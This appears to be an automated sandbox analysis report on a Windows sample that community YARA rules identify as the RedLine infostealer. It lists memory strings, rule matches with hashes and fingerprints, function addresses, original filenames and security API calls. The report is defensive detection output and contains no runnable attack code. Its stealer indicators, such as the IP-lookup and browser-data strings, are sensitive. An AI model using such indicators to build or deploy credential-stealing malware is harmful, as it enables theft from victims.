Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: I5pvP0CU6M.exe, I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, VcihjWRO.exe, 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: I5pvP0CU6M.exe, VcihjWRO.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp2937.tmp.9.dr, tmp8E66.tmp.17.dr, tmpF261.tmp.9.dr, tmp5F2D.tmp.9.dr, tmpC887.tmp.17.dr, tmpC865.tmp.17.dr, tmp8E44.tmp.17.dr, tmp8E55.tmp.17.dr, tmpC876.tmp.17.dr, tmp285.tmp.17.dr, tmpC844.tmp.17.dr, tmpF271.tmp.9.dr, tmp2957.tmp.9.dr, tmp265.tmp.17.dr, tmpF250.tmp.9.dr, tmp2905.tmp.9.dr, tmpC855.tmp.17.dr, tmpF282.tmp.9.dr, tmp2926.tmp.9.dr, tmpC897.tmp.17.dr, tmp2916.tmp.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: I5pvP0CU6M.exe PID: 2432, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: I5pvP0CU6M.exe PID: 6724, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: VcihjWRO.exe PID: 7224, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_010CDB8C	0_2_010CDB8C
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_02B87178	0_2_02B87178
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_02B80228	0_2_02B80228
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_02B80218	0_2_02B80218
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_02B87168	0_2_02B87168
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D6190	0_2_058D6190
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058DA8B0	0_2_058DA8B0
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D7868	0_2_058D7868
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058DD771	0_2_058DD771
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D6183	0_2_058D6183
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D0369	0_2_058D0369
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D0378	0_2_058D0378
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D9C90	0_2_058D9C90
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D9CA0	0_2_058D9CA0
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058DA8A0	0_2_058DA8A0
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058D7859	0_2_058D7859
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058DAB39	0_2_058DAB39
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 0_2_058DAB48	0_2_058DAB48
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_00EAE7B0	9_2_00EAE7B0
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_00EADC90	9_2_00EADC90
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_06279630	9_2_06279630
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_06274468	9_2_06274468
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_06271210	9_2_06271210
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_06273320	9_2_06273320
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_0627D140	9_2_0627D140
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Code function: 9_2_0627DA30	9_2_0627DA30
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_00ECDB8C	11_2_00ECDB8C
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_04EB7178	11_2_04EB7178
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_04EB0228	11_2_04EB0228
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_04EB0218	11_2_04EB0218
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_04EB7168	11_2_04EB7168
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07000378	11_2_07000378
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07006182	11_2_07006182
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07007859	11_2_07007859
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_0700A8B0	11_2_0700A8B0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_0700D771	11_2_0700D771
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07000369	11_2_07000369
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07009C90	11_2_07009C90
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_0700AB39	11_2_0700AB39
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_0700AB48	11_2_0700AB48
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_0700A8A0	11_2_0700A8A0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_070217E0	11_2_070217E0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_070236F8	11_2_070236F8
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07029D54	11_2_07029D54
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07021C13	11_2_07021C13
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_07021C18	11_2_07021C18
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_070213A8	11_2_070213A8
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_070232C0	11_2_070232C0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 11_2_0702A000	11_2_0702A000
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_018CE7B0	17_2_018CE7B0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_018CDC90	17_2_018CDC90
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BC9630	17_2_06BC9630
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BC4468	17_2_06BC4468
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BC1210	17_2_06BC1210
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BCDA30	17_2_06BCDA30
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BC3860	17_2_06BC3860
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BCD528	17_2_06BCD528
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BCEAD8	17_2_06BCEAD8
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_06BCEACA	17_2_06BCEACA
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075EC340	17_2_075EC340
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075EF3F0	17_2_075EF3F0
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075EE088	17_2_075EE088
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075E7700	17_2_075E7700
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075E6538	17_2_075E6538
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075EAA48	17_2_075EAA48
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075E1038	17_2_075E1038
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075E1029	17_2_075E1029
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Code function: 17_2_075E08A8	17_2_075E08A8

Source: I5pvP0CU6M.exe

Static PE information: invalid certificate

Source: I5pvP0CU6M.exe, 00000000.00000002.2227994252.0000000007472000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000000.00000000.2114643519.0000000000900000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFDQB.exe@ vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000000.00000002.2220979591.000000000453A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000000.00000002.2219893866.0000000002FF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000000.00000002.2228697339.0000000007880000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000000.00000002.2215309661.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe, 00000009.00000002.2325569956.0000000002B12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs I5pvP0CU6M.exe
Source: I5pvP0CU6M.exe	Binary or memory string: OriginalFilenameFDQB.exe@ vs I5pvP0CU6M.exe

Source: I5pvP0CU6M.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 11.2.VcihjWRO.exe.4445bf8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 11.2.VcihjWRO.exe.445da18.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 9.2.I5pvP0CU6M.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 11.2.VcihjWRO.exe.445da18.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 11.2.VcihjWRO.exe.4445bf8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: I5pvP0CU6M.exe PID: 2432, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: I5pvP0CU6M.exe PID: 6724, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: VcihjWRO.exe PID: 7224, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: I5pvP0CU6M.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: VcihjWRO.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: _0020.SetAccessControl
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: _0020.AddAccessRule
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, x9bdvNQOCuV2nB7v8T.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.I5pvP0CU6M.exe.470b2f0.3.raw.unpack, x9bdvNQOCuV2nB7v8T.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.I5pvP0CU6M.exe.7880000.6.raw.unpack, x9bdvNQOCuV2nB7v8T.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: _0020.SetAccessControl
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.I5pvP0CU6M.exe.46b1cd0.4.raw.unpack, xJpQPIrqp0EqOJe24h.cs	Security API names: _0020.AddAccessRule
